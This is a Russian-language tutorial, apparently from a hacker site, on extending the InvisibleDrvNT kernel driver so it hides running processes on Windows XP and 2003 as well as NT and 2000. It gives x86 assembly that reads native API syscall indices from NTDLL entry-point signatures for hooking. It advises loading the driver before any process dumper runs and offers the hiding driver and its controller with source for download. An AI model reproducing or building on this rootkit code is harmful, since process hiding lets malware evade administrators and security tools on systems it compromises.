В прошлой статье "Снова о сокрытии процессов" мы рассмотрели один из способов сокрытия под Windows 98\Me и Windows NT\2000. Одним из недостатков прошлого сокрытия была невозможность сокрытия процесса от Windows XP и более
старших ОС семейства Windows (например, Windows 2003 .NET Server). В данной статье я хочу рассказать вам о том, как все-таки реализовать такую возможность в драйвере InvisibleDrvNT.
Для начала рассмотрим функцию NativeApiIdFromApiAddressNT. В прошлый раз она выглядела так:
NativeApiIdFromApiAddress PROC USES ESI EDI EBX, pApiEntry : LPVOID
SUB EAX, EAX
DEC EAX ; EAX -> -1 == ошибка
; проверка сигнатуры
MOV ESI, pApiEntry
LODSB
CMP AL, 0B8h
JNZ @@exit
LODSD
LODSD
CMP EAX, 00424548Dh
JNZ @@exit
LODSW
CMP AX, 02ECDh
JNZ @@exit
LODSB
CMP AL, 0C2h
JNZ @@exit
; захват индекса NT API
MOV EAX, pApiEntry
MOV EAX, [EAX + 1]
@@exit:
RET
NativeApiIdFromApiAddress ENDP
Эта процедура сначала сканирует точку входа NT API функции по ее адресу, а затем возвращает индекс, если сигнатура верна. Отсюда видно, что точка входа pApiEntry (сигнатура) должна выглядеть так:
B8 XX XX XX XX | MOV EAX, XXXXXXXX |
8D 54 24 04 | LEA EDX, [ESP + 004h] |
CD 2E | INT 02Eh |
C2 YY YY | RET YYYY |
Это справедливо для систем Windows NT\2000, но не для XP и 2003 .NET Server. Например, в Windows XP точка входа выглядит так:
B8 XX XX XX XX | MOV EAX, XXXXXXXX |
BA 00 03 FE 7F | MOV EDX, 7FFE0300 |
FF D2 | CALL EDX |
C2 YY YY | RET YYYY |
Сравнивая две данные сигнатуры, замечаем, что первый байт у всех одинаковый (B8). Следовательно, для того чтобы удостовериться в подлинности искомой функции сравниваем только первый байт сигнатуры с B8h. Если совпадает, то возвращаем индекс NT API. Иначе возвращаем -1. Кстати, еще одним недостатком вышеописанной функции было то, что при неправильной сигнатуре возвращалось неопределенное значение вместо -1, что вызывало в худшем случае
BSOD.
Реализуем рабочую функцию:
; Возвращает -1 в случае ошибки
; Иначе - Native API ID
; Аргумент: pApiEntry - адрес точки входа процедуры
NTDLL
NativeApiIdFromApiAddressNT PROC USES ESI EDI EBX, pApiEntry : LPVOID
; проверка сигнатуры
MOV ESI, pApiEntry
LODSB
CMP AL, 0B8h
JNZ @@exit ; сигнатура не верна => возвращаем -1 и выходим
; захват индекса NT API
MOV EAX, pApiEntry
MOV EAX, [EAX + 1] ; все нормально => возвращаем индекс
RET
@@exit:
SUB EAX, EAX
DEC EAX ; EAX -> -1 == ошибка
RET
NativeApiIdFromApiAddressNT ENDP
И есть еще одно важное обстоятельство: скрывающаяся программа должна вызвать драйвер до запуска какого-либо process dumper'a.
Итак, вышеприведенная функция устраняет недостатки прошлой функции. Теперь можно скрываться и под XP.
К программе управления драйвером я решил приложить и исходник :).
Драйвер и его исходник для сокрытия процесса под Windows
NT\2000\XP (Assembler)
Программа управления драйвером(установка/удаление/запуск/остановка) с исходником
(Visual C++ 6.0)